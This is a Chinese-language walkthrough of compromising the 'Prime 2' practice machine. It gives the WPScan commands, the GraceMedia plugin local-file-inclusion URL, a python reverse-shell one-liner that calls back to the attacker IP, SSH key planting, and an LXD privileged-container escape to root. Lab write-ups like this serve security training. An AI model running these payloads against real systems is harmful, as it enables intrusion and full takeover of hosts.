Kali的IP地址:192.168.127.139
靶机的IP地址:192.168.127.145
目录
Prime 2这个靶机我看网上很少有人通关打靶练习,自己尝试做了一下,感觉整体难度:比较难,大家可以参考一下。
一、信息搜集
1.1、扫描主机IP
1.2、扫描端口
发现开放了22(ssh)、80(http)、139、445、10123(使用python搭建的http)等端口
1.3、访问端口
先访问80端口,发现就是一个正常的页面
之后在访问10123端口,发现应该是某个用户的家目录
我们将所有文件下载下来进行查看
先创建一个文件夹,把所有下载的文件放在文件夹里
在这里我就下载了几个文件,因为其他文件名字有点怪,我在something文件中发下一些提示,也没啥东西
1.4、扫描目录
通过目录扫描发现一个wordpress的站点和一个server目录
我们先查看server目录,下载server目录下的文件,解压后发现是一套网站的源码,没有什么作用
我们接着查看wp站点,就是一个普通的页面。
二、漏洞挖掘
猜想一下肯定其他地方有漏洞,我们使用wpscan进行扫描,试一下
第一次使用WPScan软件的时候需要更新,但是更新会报错,这个时候看我另外一篇文章,也是做这个靶机的时候整理的
扫描命令:
wpscan --url http://192.168.127.145/wp/ --enumerate
我们得到一个用户名:admin
接着在使用wpscan api-token后再次进行扫描发现存在一个LFI漏洞(文件包含漏洞)
扫描命令:
wpscan --url http://192.168.127.145/wp/ -e --api-token CPW3*********************************ZkfaXk
三、漏洞利用
(利用以上的方式拿到 webshell,或者其他权限)
如上图所示,在画箭头的地方有一个网址:Full Disclosure: WordPress Plugin GraceMedia Media Player 1.0 - Local FileInclusion
在Full Disclosure: WordPress Plugin GraceMedia Media Player 1.0 - Local FileInclusion可以看到文件包含漏洞过程
接着我们查看一下passwd
view-source:http://192.168.127.145/wp/wp-content/plugins/gracemedia-media-player/templates/files/ajax_controller.php?ajaxAction=getIds&cfg=../../../../../../../../../../etc/passwd
接着进行Webshell 反弹
http://192.168.127.145/wp/wp-content/plugins/gracemedia-media-player/templates/files/ajax_controller.php?ajaxAction=getIds&cfg=../../../../../../../../../../home/jarves/upload/shell.php&cmd=python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.127.139",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
然后我们使用python获取一个交互式shell
python3 -c 'import pty;pty.spawn("/bin/bash")'
并在/var/www/html/wp的目录下发现数据库的密码:root
于是用 enum4linux进行扫描,获得一个shell
enum4linux -a 192.168.127.145
接着我们使用smbclient进行连接
smbclient //192.168.127.145/welcome
密码为:root
紧接着我们创建ssh公钥,用ssh-keygen
ssh-keygen -b 2048
将id_rsa.pub复制到tmp目录下命名位authorized_keys
将authorized_keys上传到目标主机的.ssh目录下
然后使用ssh登录到目标主机
查看用户id发现jarves还属于lxd组
首先我们从github下载构建好的Alpine,然后进行执行
git clone https://github.com/saghul/lxd-alpine-builder.git
cd lxd-alpine-builder
./build-alpine
四、提权
接着我们将生成的文件上传至目标机器
wget http://192.168.127.139:8889/alpine-v3.16-x86_64-20221016_1724.tar.gz
接着我们使用lxd进行初始化
lxd init
然后导入镜像
lxc image import ./alpine-v3.16-x86_64-20221016_1724.tar.gz --alias myimage
查看镜像
lxc image list
进入到容器的命令行
lxc init myimage ignite -c security.privileged=true
lxc config device add ignite mydevice disk source=/ path=/mnt/root recursive=true
lxc start ignite
lxc exec ignite /bin/sh
进入mnt/root目录,这个目录包含所有宿主机文件
替换root目录下的authorized_keys文件
最后使用ssh连接拿到root权限
总结:
本次靶机通关练习,难度比较难,整个过程中涉及到LFI漏洞(文件包含漏洞),有关Wpscan软件的使用,是一个有关文件上传漏洞的练习。